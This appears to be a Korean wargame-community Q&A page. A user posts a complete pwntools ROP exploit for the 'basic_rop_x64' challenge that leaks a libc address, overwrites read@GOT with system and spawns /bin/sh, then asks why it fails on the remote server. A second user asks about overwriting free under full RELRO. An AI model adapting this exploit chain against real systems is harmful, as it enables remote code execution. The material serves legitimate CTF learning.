보상이 걸린 질문
질문에 답변을 달고 보상을 받아가세요!
from pwn import * context(arch='amd64', os='linux') host = "host3.dreamhack.games" port = 12110 r = remote(host, port) r = process("./basic_rop_x64") libc = ELF("./libc.so.6") e = ELF("./basic_rop_x64") read_plt = e.plt["read"] read_got = e.got["read"] write_plt = e.plt["write"] pop_rsi_r15 = 0x0000000000400881 pop_rdi = 0x0000000000400883 ret = 0x00000000004005a9 payload = b"A"* 0x48 payload += p64(pop_rdi) + p64(1) payload += p64(pop_rsi_r15) + p64(read_got) +p64(0) payload += p64(write_plt) payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(read_got) +p64(0) payload += p64(read_plt) payload += p64(pop_rdi) + p64(read_got + 0x8) payload += p64(ret) payload += p64(read_plt) pause() r.send(payload) r.recvuntil(b"A"*0x40) read_addr = u64(r.recvn(6) + b"\x00" * 2) libc_base = read_addr - libc.symbols["read"] sys_addr = libc_base + libc.symbols["system"] r.send(p64(sys_addr)+b"/bin/sh"+b"\x00") r.interactive() 로컬 환경에선 되고 서버에선 해당 코드가 익스플로잇을 수행하지 못해서 환경 문제인듯 싶어서 도커로 제공해주는 도커파일 이용해서 해봤는데도 안되네요. 혹시 이 문제에서 제공해주는 라이브러리랑 서버에서 사용하는 라이브러리가 차이가 있는걸까요? [*] Switching to interactive mode \x00\x00\xc0\xfd\xf39%\x7f\x00\x00 \x84\xf59%\x7f\x00\x00pv\xf99%\x7f\x00\x006\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive 오류 코드입니다.
해당 문제 자체는 큰 어려움 없이 풀었는데 의문이 하나 생겨 질문 남겨봅니다. free의 got야 full relro라 오버라이트가 불가능 하다고 쳐도, freehook말고 free자체를 오버라이트 하는건 왜 안되나요? library base를 구한 시점에서 free의 함수 주소도 알 수 있는데 이걸 바꿔버리니 EOF가 떠버리는데 무슨 원리인지 궁금합니다!
커뮤니티 최신글